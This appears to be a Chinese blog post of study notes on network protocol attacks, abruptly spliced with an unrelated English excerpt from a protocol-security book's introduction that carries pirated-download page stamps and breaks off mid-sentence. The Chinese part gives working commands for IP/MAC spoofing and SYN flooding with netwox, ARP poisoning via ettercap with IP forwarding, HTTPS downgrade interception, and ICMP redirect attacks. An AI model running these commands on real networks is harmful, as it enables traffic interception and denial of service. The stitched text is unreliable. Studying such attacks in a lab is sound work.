协议攻击(一)

协议攻击

一.什么是协议

网络协议是通信计算机双方必须共同遵从的一组约定。

什么是安全?

违背开发者建设者使用者意愿的都可以称之为安全隐患

ISO是一个标准组织

二.HTTP请求有八种请求

  • GET请求:最长300多位
  • HEAD请求:跟GET请求一样,不过只会返回请求头,不会返回请求体
  • POST请求:是用表单提交,
  • PUT请求:向指定资源位置上传其最新内容。
  • DELETE请求:请求删除Request-URI所标识的资源
  • TRACE请求:回显服务器收到的请求,主要用于测试或诊断
  • OPTIONS请求:这个方法可以看服务器支持哪些HTTP的请求方式
  • CONNECT请求:是HTTP/1.1 差不多就是保留的请求方式,生产上用的特别少

三.伪造IP攻击命令

netwox 52 -E "0:1:2:3:4:5" -I "192.168.100.125" -e "00:0c:29:83:36:d7" -i "192.168.100.151"

netwox是工具 52是伪造IP攻击方式 MAC是伪造后的MAC 伪造的IP地址 伪造的MAC地址 目标IP地址

netwox 76 -i 192.168.100.151 -p 80

76 是syn泛洪且发送一次tcp连接请求,就改一次源IP 选择ip和端口就可以了

netstat -antu|grep :80

查看80端口连接的状态

tcpdump –i eth0 tcp port 80 -n –nn

查看eth0网卡的80端口的数据包

四.ARP欺诈

ARP欺诈就是利用ARP广播寻找IP的方式来进行欺诈

一直保持这种欺诈关系就要利用ARP毒化,受害者发送一次,攻击者发送一百次,受害者一发送就被覆盖了

ettercap -i eth0 -Tq -M arp:remote /192.168.100.142// /192.168.100.1//

选择ettercap工具 选择网卡 +目标主机IP +网关IP

开启kali转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

开启监听本地网卡

ettercap -Tq -i eth0

如果目标访问的是https的网站,可以利用中间人降为攻击,

有两种方式,一种是左右两方都是https协议你跟服务器端做加解密

第二种是中间人和受害者是http协议,中间人和服务器端是https的

五.ICMP重定向攻击

echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/eth0/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/default/accept_redirects

以上三个全置为一

netwox 86 -g 192.168.100.148 -i 192.168.100.2

工具名 攻击编号 选择 自己的IP 选择 网关

What’s in This Book? This book contains a mix of theoretical and practical chapters. For the practical chapters, I’ve developed and made available a networking library called Canape Core, which you can use to build your own tools for protocol analysis and exploitation. I’ve also provided an example networked application called SuperFunkyChat, which implements a userto-user chat protocol. By following the discussions in the chapters, you can use the example application to learn the skills of protocol analysis and attack the sample network protocols. Here is a brief breakdown of each chapter: Chapter 1: The Basics of Networking This chapter describes the basics of computer networking with a particular focus on TCP/IP, which forms the basis of application-level network protocols. Subsequent chapters assume that you have a good grasp of the network basics. This chapter also introduces the approach I use to model application protocols. The model breaks down the application protocol into flexible layers and abstracts complex technical detail, allowing you to focus on the bespoke parts of the protocol you’re analyzing. Chapter 2: Capturing Application Traffic This chapter introduces the concepts of passive and active capture of network traffic, and it’s the first chapter to use the Canape Core network libraries for practical tasks. Chapter 3: Network Protocol Structures Download from finelybook www.finelybook.com 24This chapter contains details of the internal structures that are common across network protocols, such as the representation of numbers or human-readable text. When you’re analyzing captured network traffic, you can use this knowledge to quickly identify common structures, speeding up your analysis. Chapter 4: Advanced Application Traffic Capture This chapter explores a number of more advanced capture techniques that complement the examples in Chapter 2. The advanced capture techniques include configuring Network Address Translation to redirect traffic of interest and spoofing the address resolution protocol. Chapter 5: Analysis from the Wire This chapter introduces methods for analyzing captured network traffic using the passive and active techniques described in Chapter 2. In this chapter, we begin using the SuperFunkyChat application to generate example traffic. Chapter 6: Application Reverse Engineering This chapter describes techniques for reverse engineering networkconnected programs. Reverse engineering allows you to analyze a protocol without needing to capture example traffic. These methods also help to identify how custom encryption or obfuscation is implemented so you can better analyze traffic you’ve captured. Chapter 7: Network Protocol Security This chapter provides background information on techniques and cryptographic algorithms used to secure network protocols. Protecting the contents of network traffic from disclosure or tampering as it travels over public networks is of the utmost importance for network protocol security. Chapter 8: Implementing the Network Protocol This chapter explains techniques for implementing the application Download from finelybook www.finelybook.com 25network protocol in your own code so you can test the protocol’s behavior to find security weaknesses. Chapter 9: The Root Causes of Vulnerabilities This chapter describes common security vulnerabilities you’ll encounter in a network protocol. When you understand the root causes of vulnerabilities, you can more easily identify them during analysis. Chapter 10: Finding and Exploiting Security Vulnerabilities This chapter describes processes for finding security vulnerabilities based on the root causes in Chapter 9 and demonstrates a number of ways of exploiting them, including developing your own shell code and bypassing exploit mitigations through return-oriented programming. Appendix: Network Protocol Analysis Toolkit In the appendix, you’ll find descriptions of some of the tools I commonly use when performing network protocol analysis. Many of the tools are described briefly in the main body of the text as well. How to Use This Book If you want to start with a refresher on the basics of networking, read Chapter 1 first. When you’re familiar with the basics, proceed to Chapters 2, 3, and 5 for practical experience in capturing network traffic and learning the network protocol analysis process. With the knowledge of the principles of network traffic capture and analysis, you can then move on to Chapters 7 through 10 for practical information on how to find and exploit security vulnerabilities in these protocols. Chapters 4 and 6 contain more advanced information about additional capture techniques and application reverse engineering, so you can read them after you’ve read the other chapters if you prefer. For the practical examples, you’ll need to install .NET Core Download from finelybook www.finelybook.com 26(https://www.microsoft.com/net/core/), which is a cross-platform version of the .NET runtime from Microsoft that works on Windows, Linux, and macOS. You can then download releases for Canape Core from https://github.com/tyranid/CANAPE.Core/releases/ and SuperFunkyChat from https://github.com/tyranid/ExampleChatApplication/releases/; both use .NET Core as the runtime. Links to each site are available with the book’s resources at https://www.nostarch.com/networkprotocols/. To execute the example Canape Core scripts, you’ll need to use the CANAPE.Cli application, which will be in the release package downloaded from the Canape Core Github repository. Execute the script with the following command line, replacing script.csx with the name of the script you want to execute.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值